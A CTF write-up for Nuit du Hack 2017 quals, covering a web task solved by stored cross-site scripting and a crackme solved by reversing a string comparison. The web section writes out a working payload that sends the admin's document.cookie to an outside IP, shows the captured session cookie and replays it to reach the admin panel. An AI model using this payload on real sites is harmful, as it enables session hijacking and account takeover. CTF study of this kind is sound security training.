[+] Nuit du Hack CTF Quals 2017

Last weekend i gave Nuit du Hack CTF a try with my team and here is the write-up for two simple tasks, one web and one reverse engineering.

Purple Posse Market – Web 200 points

In this task we we are given,

Description:

You work for the government in the forensic department, you are investigating on an illegal website which sells illegal drugs and weapons, you need to find a way to get the IBAN of the administrator of the website. URL: http://purplepossemarket.quals.nuitduhack.com/

Solution:

Once visiting the URL and browsing the web site, we noticed that there is a contact form that let us to contact the admin, also we noticed that ‘The administrator is currently online’.

http://purplepossemarket.quals.nuitduhack.com/contact

Immediately Cross-Site Scripting came to my mind , specially when our target was retrieve IBAN number for the admin, so let give it a try 🙂

HTTP Request:

POST /contact HTTP/1.1
Host: purplepossemarket.quals.nuitduhack.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://purplepossemarket.quals.nuitduhack.com/contact
Cookie: connect.sid=s%3A7RMbhgpAbxxiFONDJBDFb1WRo8RP8qVz.5ASBx5UqcALxhWjwX0SLFkPkJA2Q%2FWNMmn1d62BiyGw; _csrf=fR3NloowZowPdjmbtb_bfaS_
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 141

email=diaa.diab.2012%40gmail.com&content=%3Cimg+src%3D%22http%3A%2F%2F192.241.147.132%3A8080%22%3E&_csrf=rFPNT3XC-sIJOTgytNiidIiMjy2_EcH92nAA

Once we sent the message, the code was executed by admin browser and we got back from him into our netcat listener.

root@ctf:~/dia2diab/ctfs/ndh# nc -lvvp 8080
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [163.172.102.12] port 8080 [tcp/http-alt] accepted (family 2, sport 33830)
GET / HTTP/1.1
Referer: http://localhost:3001/admin/messages/55/
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: 192.241.147.132:8080

Now we will give a simple payload to steal the admin cookie.

HTTP Request:

POST /contact HTTP/1.1
Host: purplepossemarket.quals.nuitduhack.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://purplepossemarket.quals.nuitduhack.com/contact
Cookie: connect.sid=s%3ATtuZqZEaCyxyGNDzWwC0F6vh8LFk8t9D.jt8184%2Bvv0Rdk%2FeyIfTEi3d1Rk7EbjFGRpD0YpiN%2Bw4; _csrf=fR3NloowZowPdjmbtb_bfaS_
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 214

email=diaa.diab.2012%40gmail.com&content=%3Cimg+src%3Dd+onerror%3D%22src%3D%27http%3A%2F%2F192.241.147.132%3A8080%2Fc%3D%27%2BencodeURIComponent%28document.cookie%29%22%3E&_csrf=6ruU6gQi-linArxmgaGwAJ5qkheRheikIoAE

And that was it, we got the admin’s cookie to our server.

root@ctf:~/dia2diab/ctfs/ndh# nc -lvvp 8080
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [163.172.102.12] port 8080 [tcp/http-alt] accepted (family 2, sport 45124)
GET /c=connect.sid%3Ds%253A7h5vTum7qxyriWA7ntDvn5i7g6UADEYg.eWcNTJgmIe5mzTeoENWbrLK%252BRpV%252B8Poukdg3e%252BwHjVk HTTP/1.1
Referer: http://localhost:3001/admin/messages/58/
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: 192.241.147.132:8080

Now we have the admin’s cookie, it’s the time to access his panel and see the secrets.

Cookie:

s%3A7h5vTum7qxyriWA7ntDvn5i7g6UADEYg.eWcNTJgmIe5mzTeoENWbrLK%2BRpV%2B8Poukdg3e%2BwHjVk

HTTP Request:

GET /admin/ HTTP/1.1
Host: purplepossemarket.quals.nuitduhack.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: connect.sid=s%3A7h5vTum7qxyriWA7ntDvn5i7g6UADEYg.eWcNTJgmIe5mzTeoENWbrLK%2BRpV%2B8Poukdg3e%2BwHjVk; _csrf=fR3NloowZowPdjmbtb_bfaS_
Connection: close
Upgrade-Insecure-Requests: 1

Now we are in and we can see the admin’s IBAN number that was the same as the flag 🙂

Flag: IBAN FR14 2004 1010 0505 0001 3M02 606

Matriochka step 1 – Reverse 35 points

In this task we are given,

Description:

Can you… Reverse it ? Analyse it ? Calculate it ? Keygen it ? Modify it ? Enjoy yourself 🙂

By doing basic analysis for that binary, it was ELF 64-bit LSB, by running it it needs a password as first argument.

Using library call tracer (ltrace), we found the binary use strlen and strcmp.

root@ctf:~/dia2diab/ctfs/ndh# ltrace ./step1.bin AAAA
__libc_start_main(0x400666, 2, 0x7fffcfcbe548, 0x400820 <unfinished ...>
strlen("AAAA") = 4
strcmp("AAAA", "Tr4laLa!!!") = -19
puts("Try again :("Try again 😦
) = 13
+++ exited (status 0) +++

So let’s load it into IDA to complete the full picture about it.

The sequence of the function calls as the following

main function -> mmm function  -> you function -> touch function -> my function .

my function is the function that responsible for check our string input and according to this check it will be redirect the flow of the program to print “Well done :)” or “Try again :(“

 The decompiled code from IDA for ‘my’ function

unsigned __int64 __fastcall my(const char *a1)
{
 char v1; // ST17_1@3
 unsigned __int64 v3; // [sp+18h] [bp-18h]@1
 signed __int64 v4; // [sp+20h] [bp-10h]@2
 unsigned __int64 v5; // [sp+28h] [bp-8h]@2
 unsigned __int64 i; // [sp+28h] [bp-8h]@6

 v3 = strlen(a1);
 if ( v3 > 1 )
 {
 v5 = 0LL;
 v4 = v3 - 1;
 while ( v3 >> 1 > v5 )
 {
 v1 = a1[v5];
 a1[v5] = a1[v4];
 a1[v4] = v1;
 ++v5;
 --v4;
 }
 }
 if ( !strcmp(a1, "Tr4laLa!!!") )
 {
 puts("Well done :)");
 for ( i = 0LL; i <= 0x33D9F; ++i )
 fputc((char)(*(_BYTE *)(i + 4196608) ^ a1[i % v3] ^ 0x30), _bss_start);
 }
 else
 {
 puts("Try again :(");
 }
 return v3;
}

The function takes a pointer to our string and start to process it inside while loop to make changes for a specific chars, after this it compares it with ‘Tr4laLa!!!’ string usin ‘strcmp’ function.

#! /usr/bin/env python

a1 = [ord(i) for i in "Tr4laLa!!!"]
# a1 = [ord(i) for i in "!!4laLa!rT"]
v3 = len(a1)
v5 = 0
v4 = v3 - 1
while ((v3 >> 1) > v5):
    v1 = a1[v5]
    a1[v5] = a1[v4]
    a1[v4] = v1
    v5 += 1
    v4 -= 1
 
print "".join(chr(j) for j in a1)

By running it it gave us the correct password that had some special chars that prevented us to give it as a first argument, because of this we used base64 to decode the encoded value of the password.

root@ctf:~/dia2diab/ctfs/ndh# python step1.py
!!!aLal4rT
root@ctf:~/dia2diab/ctfs/ndh#

root@ctf:~/dia2diab/ctfs/ndh# ./step1.bin `echo "ISEhYUxhbDRyVA==" | base64 -d` > tmp 2> step2.bin
root@ctf:~/dia2diab/ctfs/ndh# cat tmp
Well done 🙂

Flag: !!!aLal4rT

 
Hope you enjoyed reading ! 🙂

Leave a comment